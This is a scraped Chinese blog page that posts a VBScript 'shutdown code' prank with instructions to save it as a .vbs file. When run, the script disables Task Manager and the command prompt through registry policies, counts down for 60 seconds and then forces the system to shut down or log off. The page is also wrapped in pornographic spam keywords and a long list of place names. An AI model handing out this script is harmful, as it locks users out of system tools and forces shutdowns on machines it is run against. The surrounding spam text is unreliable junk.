国产精品天干天干,亚洲毛片在线,日韩gay小鲜肉啪啪18禁,女同Gay自慰喷水

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

關(guān)機(jī)代碼

2023-06-28 12:59 作者:蘇浩然編程  | 我要投稿

今天帶來(lái)的是關(guān)機(jī)代碼

首先創(chuàng)建一個(gè)新的文本文檔格式為txt,打開

接著輸入以下代碼



set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系統(tǒng)將在"& 60-i &"秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next



接著保存,改后綴名為vbs

就可以了

喜歡的請(qǐng)一鍵三連謝謝

本文禁止轉(zhuǎn)載或摘編


關(guān)機(jī)代碼的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
清镇市| 德州市| 黄龙县| 长乐市| 海南省| 突泉县| 阳春市| 遂宁市| 新乡县| 望江县| 确山县| 永善县| 商水县| 三明市| 高州市| 开江县| 重庆市| 德保县| 武清区| 孙吴县| 桐梓县| 灌阳县| 永平县| 柳州市| 新乡市| 惠安县| 临武县| 建宁县| 青神县| 东阿县| 宜丰县| 许昌市| 镇原县| 潮安县| 定西市| 普兰店市| 手游| 章丘市| 遂川县| 宣汉县| 岑溪市|